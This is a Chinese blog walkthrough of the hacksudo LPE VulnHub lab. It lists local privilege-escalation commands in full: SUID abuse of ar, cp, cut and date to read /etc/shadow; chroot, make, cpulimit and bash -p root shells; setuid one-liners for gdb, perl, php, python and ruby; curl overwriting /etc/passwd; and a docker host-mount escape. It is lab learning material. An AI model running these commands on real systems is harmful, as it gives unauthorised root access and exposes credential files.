vulnhub靶场【hacksudo】之LPE的后续提权方法学习

news2024/12/26 0:12:15

前言

靶场:hacksudo-lpe的后几个challenge

基于上篇靶场hacksudo-plesudo提权

SUID文件提权

ar文件提权

使用find寻找具有SUID权限的文件

find / -perm -u=s -type f 2>/dev/null

查看ar的SUID用法

sudo install -m =xs $(which ar) .

TF=$(mktemp -u)
LFILE="/etc/shadow"
./ar r "$TF" "$LFILE"
cat "$TF"

可以看到用法是越权查看文件

sh提权

这个文件名可能不一样,但是性质是一样的,也就是名称不同。

使用find寻找具有SUID权限文件

find / -perm -4000 -exec ls -al {} \; 2>/dev/null

因为是可执行文件,使用strings查看,因为内容太多,这里我是先直接执行,发现另起一个shell终端,并且还是当前用户的终端,所以,猜测是执行sh

./bash -p

所以直接使用即可

切换用户提权

使用find寻找具有SUID权限文件

find / -perm -4000 -print 2>/dev/null

因为知道密码,所以直接替换后,使用上一个进行提取即可

base32

使用find寻找具有SUID权限文件

find / -perm -u=s -type f 2>/dev/null

测试发现是base32,那么就可以直接进行越权读取

bash提取

使用find寻找

find / -perm -4000 -user root -exec ls -al {} \; 2>/dev/null

查看文件类型,属于可执行文件,尝试查看帮助,发现是命令bash本身

使用bash -p即可提取

cat提取

使用find寻找具有SUID权限文件

find / -perm -4000 -print 2>/dev/null

查看文件类型,发现是可执行文件,并且查看帮助,确定为cat命令

那么直接使用查看,越权查看文件

chmod提取

使用find寻找具有SUID权限文件

find / -perm -u=s -type f 2>/dev/null

查看文件类型,发现是可执行文件,并且测试帮助,确定为chmod命令

那么修改文件为其他人可读可写可执行即可,不过注意,修改时,有时父目录也是有权限限制的,这个别忘了修改

chroot提取

使用find寻找具有SUID权限文件

find / -perm -4000 -user root -print 2>/dev/null

查看文件类型,为可执行文件,并且查看帮助,确定是命令chroot

./chroot / /bin/sh -p
#即可提取

cp提取

使用find寻找具有SUID权限文件

find / -perm -u=s -type f 2>/dev/null

查看文件类型为可执行文件,并查看帮助,确定为cp命令

与之前使用sudocp进行提取用法差不多

三种方法,复制并读取,复制写入,第三种记录一下,之前并没碰到

LFILE="/etc/shadow"
./cp --attributes-only --preserve=all ./cp "$LFILE"

CPUlimit提取

使用find寻找具有SUID权限的文件

find / -perm -4000 -user root -print 2>/dev/null

查看文件类型为可执行文件,并且确定命令为CPUlimit

查看使用方法

./cpulimit -l 100 -f -- /bin/sh -p

cut提取

使用find寻找具有SUID权限文件

find / -perm -u=s -type f 2>/dev/null

查看文件类型为可执行文件,并查看帮助,确定为命令cut

用法与使用sudo提取时一样

LFILE="/etc/shadow"
./cut -d "" -f1 "$LFILE"

sh提取

使用find寻找具有SUID权限文件

find / -perm -4000 -exec ls -al {} \; 2>/dev/null

查看文件类型为可执行文件,并且测试发现是sh,直接使用sh -p提取即可

date提取

使用find寻找具有SUID权限文件

find / -perm -4000 -print 2>/dev/null

查看文件类型为可执行文件,查看帮助确定为命令date

用法与具有sudo权限是一样的

date -f "/etc/shadow"

make提取

使用find寻找具有SUID权限文件

find / -perm -4000 -print 2>/dev/null

查看文件类型为可执行文件,并且测试,大概率为make命令

用法

COMMAND='/bin/sh -p'
./make -s --eval=$'x:\n\t-'"$COMMAND"

脚本语言Capabilities 提权

gdb语言

使用find命令寻找对于其他用户也是可以执行gdb的文件

find / -type f -executable 2>/dev/null | xargs /usr/sbin/getcap -r 2>/dev/null

查看用法,可以看到是查看是否具有ep权限的,可以使用getcap查看,这里getcap环境变量问题,可以先找到其位置,xargs就是把前面的输出作为getcap的目标

./gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit

node语言

使用find寻找

find / -name "getcap" 2>/dev/null
find / -type f -executable 2>/dev/null | xargs /usr/sbin/getcap -r 2>/dev/null

查看用法

cp $(which node) .
sudo setcap cap_setuid+ep node

./node -e 'process.setuid(0); require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'

测试,发现无权限使用setcap,那就无法修改,无法提取,只能到此

perl语言

之前确认了getcap的命令位置,以及可使用,所以,直接搜索

find / -type f -executable 2>/dev/null | xargs /usr/sbin/getcap -r 2>/dev/null

查看用法

cp $(which perl) .
sudo setcap cap_setuid+ep perl

./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

这里因为在当前用户目录下,有权限,并且满足条件。所以可以到目录下直接使用

php语言

使用find寻找

find / -type f -executable 2>/dev/null | xargs /usr/sbin/getcap -r 2>/dev/null

查看用法

cp $(which php) .
sudo setcap cap_setuid+ep php

CMD="/bin/sh"
./php -r "posix_setuid(0); system('$CMD');"

进行提取

python语言

使用find寻找

find / -type f -executable 2>/dev/null | xargs /usr/sbin/getcap -r 2>/dev/null

查看用法

cp $(which python) .
sudo setcap cap_setuid+ep python

./python -c 'import os; os.setuid(0); os.system("/bin/sh")'

ruby语言

使用find寻找

find / -type f -executable 2>/dev/null | xargs /bin/sbin/getcap -r 2>/dev/null

查看用法

cp $(which ruby) .
sudo setcap cap_setuid+ep ruby

./ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'

python3语言

使用find寻找

find / -type f -executable 2>/dev/null | xargs /usr/sbin/getcap -r 2>/dev/null

查看用法

cp $(which python) .
sudo setcap cap_setuid+ep python

./python -c 'import os; os.setuid(0); os.system("/bin/sh")'

python2是一样的,都是python语言,只是版本不同

环境变量提权

apt-get临时变量

使用find寻找具有SUID权限的文件

find / -perm -u=s -type f 2>/dev/null

不过测试,发现应该是调用apt-get,为什么呢,因为不管传参是什么都不会被接收,说明该文件本身不是apt,而是调用的

既然是调用,那么就可以考虑环境变量,利用export设置临时变量,并且是具有优先权的,这个最好是在/tmp目录下新建apt-get,因为这是权限允许范围内的。

然后把文件给予执行权限,执行shell时,就会提权成功

ftp临时变量

使用find寻找具有SUID权限的文件

find / -perm -u=s -type f 2>/dev/null

测试文件发现,涉及到ftp,并且并不是ftp命令,参数无法接收,也就是其调用了ftp,那么尝试设置临时变量来覆盖,与上面一样,最好是在/tmp目录进行

可写文件滥用提权

利用curl

使用find寻找具有SUID权限的文件,不过这里找到的是curl

find - perm -u=s -type f 2>/dev/null

在上一篇的sudo提权文章中,个人以为只能下载,后又研究一下 ,发现不止是http协议,也是可以利用file协议与curl配合,所以就可以进行读取本地文件或写入本地文件

【curl写入】
LFILE=file_to_write
TF=$(mktemp)
echo DATA >$TF
curl "file://$TF" -o "$LFILE"

【curl读取】
LFILE=/tmp/file_to_read
curl file://$LFILE

复制/etc/passwd文件,然后修改这个复制id文件,再通过curl重新覆盖原本的/etc/passwd文件

使用su命令切换到自己本身的用户,因为知道自己本身的密码

利用具有SUID的py文件

使用find寻找具有SUID权限文件

find /-perm -4000 -print 2>/dev/null

可以看到这个python文件,具有SUID权限,但是不能直接写入,因为其所属者和所属组都是root,且其他人无写入权限,不过这里导入两个包ossys,寻找这两个包,看其权限,发现并未有权限

find / -name "os.py" -exec ls -l {} \; 2>/dev/null

寻找导入模块os.py位置以及权限,是否可写

但是发现寻找sys.py,确没有这个文件,那么能否自己写这个包呢,进行测试,也是无权限写入

这就不知道该怎么提权了,又不能写入

可读文件滥用提权

cpio提权

使用find寻找具有SUID权限的文件

find / -perm -u=s -type f 2>/dev/null

测试发现,本身就是命令cpio,查看用法,发现该命令可进行读、写等操作

链接https://gtfobins.github.io/gtfobins/cpio/#suid

【读文件内容】
LFILE="/root/root.txt"
TF=$(mktemp -d)
echo "$LFILE" | ./cpio -R $UID -dp $TF
cat "$TF/$LFILE"

或者
echo "/root/root.txt" | cpio -o

git提权

使用find寻找具有SUID权限的文件

find / -perm -4000 -print 2>/dev/null

查看其用法,可用的操作很多,尤其是具有SUID权限

链接https://gtfobins.github.io/gtfobins/git/#limited-suid

【读取文件内容】
./git diff /dev/null /root/root.txt

测试获取shell,发现不行,当前只能读取文件内容

docker提权

当使用find等搜索无发现时,查看id发现,当前用户处于docker,不过docker中并无任何镜像

在进行docker逃逸时,常用的镜像就是alpine

因为docker默认源是在国外,并且大部分的docker源可能都失效,所以这里在kali中先下载镜像,然后导出,再使用靶机下载

靶机导入

查看用法,大致都是这一种

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

通配符滥用

这里其实就需要构造条件来满足,但是这里并无条件,需要自己使用root先创建条件,这里可以看参考链接学习https://www.freebuf.com/articles/system/176255.html

crontab定时提权

使用find寻找具有SUID权限用户发现暂无,使用find寻找capabilities的特权文件,发现暂无。

查看定时任务,一般使用crontab可查看文件/etc/crontab

发现定时任务,每一分钟执行这个python文件

这个文件可以写入,查看文件内容

那么自己写入一个唤起bash终端,因为所有者是root,所以导致提权成功

当然,这是需要等待一分钟的时间,也就是当定时任务执行的时候

总结

通过该挑战可以学习到各种方式的提权,并且是不依赖漏洞的。

大部分基于SUID和sudo进行提权的

以及一个环境变量和capabilities的权限

对于一些文件的修改,而可以间接提权

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2257628.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

uniapp -- 实现页面滚动触底加载数据

效果 首选,是在pages.json配置开启下拉刷新 {"path": "pages/my/document/officialDocument","style": {"navigationStyle":</

【Windows11系统局域网共享文件数据】

【Windows11系统局域网共享文件数据】 1. 引言1. 规划网络2. 获取必要的硬件3. 设置网络4. 配置网络设备5. 测试网络连接6. 安全性和维护7. 扩展和优化 2. 准备工作2.1: 启用网络发现和文件共享2.2: 设置共享文件夹 3. 访问共享文件夹4. 小贴士5. 总结 1. 引言 随着家庭和小型办…

学习Ajax (概述,应用场景,使用jQury 实现ajax)

目录 前言 概述 什么是Ajax? 同步交互与异步交互的区别是什么呢&#xff1f; 应用场景 场景1 在搜索框搜索 资源 场景2 登录业务的对用户名处理 AJAX的优缺点 优点&#xff1a; 缺点&#xff1a; 使用jQury 实现ajax 使用步骤 1 引入jQury 文件 2 使用Ajax 函数…

【单片机开发】MCU三种启动方式(Boot选择)[主Flash/系统存储器(BootLoader)/嵌入式SRAM]

目录 参考资料&#xff1a; 利用 Boot 选择不同的启动方式&#xff1a; 单片机的存储结构(主 FLASH/系统存储器/嵌入式 SRAM)&#xff1a; 1. Cortex-M 内核芯片——启动原理&#xff1a; 1.1. 启动流程&#xff1a; 1.2. 根据单片机的存储器映射和架构图&#xff1a;启动…

C语言(指针基础2练习)

利用指针变量将一个数组中的数据反向输出。 #include <stdio.h>void rev(int *arr, int size) {int *end arr size - 1;for (int *ptr end; ptr > arr; ptr--){printf("%-3d", *ptr);}printf("\n"); } void get(int arr[], int len) {for (in…

微信小程序web-view 嵌套h5界面 实现文件预览效果

实现方法&#xff1a;(这里我是在小程序里面单独加了一个页面用来下载预览文件) 安装 使用方法请参考文档 npm 安装 npm install weixin-js-sdk import wx from weixin-js-sdk预览 h5界面代码 <u-button click"onclick" type"primary" :loading"…

C—初阶调试

对你有帮助的话能否一键三连啊&#xff01;祝每个人心想事成&#xff01; 什么是Bug? 首先我们先了解一下日常口语中的“Bug”是什么 Bug可以理解为计算机程序错误&#xff0c;编程时的漏洞 调试及重要性 顾名思义&#xff0c;调试就是通过工具找出bug存在&#xff0c;找出…

vs打开unity项目 新建文件后无法自动补全

问题 第一次双击c#文件自动打开vs编辑器的时候能自动补全&#xff0c;再一次在unity中新建c#文件后双击打开发现vs不能自动补全了。每次都要重新打开vs编辑器才能自动补全&#xff0c;导致效率很低&#xff0c;后面发现是没有安装扩展&#xff0c;注意扩展和工具的区别。 解决…

中间件--MongoDB部署及初始化js脚本(docker部署,docker-entrypoint-initdb.d,数据迁移,自动化部署)

一、概述 MongoDB是一种常见的Nosql数据库&#xff08;非关系型数据库&#xff09;&#xff0c;以文档&#xff08;Document&#xff09;的形式存储数据。是非关系型数据库中最像关系型数据库的一种。本篇主要介绍下部署和数据迁移。 在 MongoDB 官方镜像部署介绍中&#xff…

基于大模型的 AI Agent 技术框架全解析

一、AI Agent 与大语言模型&#xff1a;智能时代的双璧合辉 &#xff08;一&#xff09;AI Agent&#xff1a;智能化浪潮的引领者 在科技迅猛发展的当下&#xff0c;AI Agent 作为一种能够自主感知环境、决策并行动的智能系统&#xff0c;正引领着智能化的新潮流。与传统智能系…

5.ABAP结构体和内表

总学习目录请点击下面连接 SAP ABAP开发从0到入职&#xff0c;冷冬备战-CSDN博客 目录 5.1.结构化数据对象 定义 如何引用结构化的数据对象 拷贝 实战练习 创建 拷贝 调试代码 5.2.内表 行类型 键 表种类 存取类型 表类型 如何在本地定义表类型 内表三种可能的…

3D 生成重建030-SV3D合成环绕视频以生成3D

3D 生成重建030-SV3D合成环绕视频以生成3D 文章目录 0 论文工作1 论文方法2 实验结果 0 论文工作 论文提出了Stable Video 3D (SV3D)——一个用于生成围绕三维物体的高分辨率图像到多视角视频的潜在视频扩散模型。最近关于三维生成的文献提出了将二维生成模型应用于新视图合成…

中介者模式的理解和实践

一、中介者模式概述 中介者模式&#xff08;Mediator Pattern&#xff09;&#xff0c;也称为调解者模式或调停者模式&#xff0c;是一种行为设计模式。它的核心思想是通过引入一个中介者对象来封装一系列对象之间的交互&#xff0c;使得这些对象不必直接相互作用&#xff0c;从…

【蓝桥杯每日一题】砍竹子

砍竹子 2024-12-7 蓝桥杯每日一题 砍竹子 STL 贪心 题目大意 这天, 小明在砍竹子, 他面前有 nn 棵竹子排成一排, 一开始第 ii 棵竹子的 高度为 h i h_i hi​. 他觉得一棵一棵砍太慢了, 决定使用魔法来砍竹子。魔法可以对连续的一 段相同高度的竹子使用, 假设这一段竹子的高度为…

泷羽sec-burpsuite(5)app渗透测试(上) 学习笔记

声明&#xff01; 学习视频来自B站up主 **泷羽sec** 有兴趣的师傅可以关注一下&#xff0c;如涉及侵权马上删除文章&#xff0c;笔记只是方便各位师傅的学习和探讨&#xff0c;文章所提到的网站以及内容&#xff0c;只做学习交流&#xff0c;其他均与本人以及泷羽sec团队无关&a…

从一个Bug谈前端响应拦截器的应用

一、问题场景 今天在开发商品管理系统时&#xff0c;遇到了一个有趣的问题&#xff1a;当添加重复的商品编号时&#xff0c;页面同时弹出了两条 "商品编号已存在" 错误提示&#xff1a; 这个问题暴露了前端错误处理机制的混乱&#xff0c;让我们从这个问题出发&…

量子变分算法---损失函数

引子 关于损失函数&#xff0c;我们知道在强化学习中&#xff0c;会有一个函数&#xff0c;用来表示模型每一次行为的分数&#xff0c;通过最大化得分&#xff0c;建立一个正反馈机制&#xff0c;若模型为最优则加分最多&#xff0c;若决策不佳则加很少分或者扣分。而在神经网络…

车间的图纸在传输过程的安全怎么保障?

车间的图纸在传输过程的安全保障&#xff0c;要从很多方面出发分析&#xff0c;本文从以下几点为大家列出几个&#xff0c;看看有没有你想知道的呢~ 1、采用先进的图纸加密软件 采用先进的加密算法对图纸进行加密处理&#xff0c;确保图纸文件在存储、传输和使用过程中的安全性…

MQTT消息服务器mosquitto介绍及说明

Mosquitto是一个开源的消息代理软件&#xff0c;支持MQTT协议&#xff08;消息队列遥测传输协议&#xff09;。MQTT是一种轻量级的发布/订阅消息传输协议&#xff0c;专为低带宽、不可靠网络环境下的物联网设备通信而设计。以下是关于Mosquitto服务器的一些介绍和说明&#xff…

想在iPad上远程操作安卓手机的APP,怎样实现iPad远程控制安卓?

学生党或互联网行业的打工人&#xff0c;人手连三台电子设备也很常见&#xff0c;手机、平板还有笔记本电脑一大堆&#xff0c;如果出门要全带上&#xff0c;背包压力也变大。 有没有想过用远程控制功能&#xff0c;让iPad远程控制安卓手机&#xff1f;这样做&#xff0c;出门就…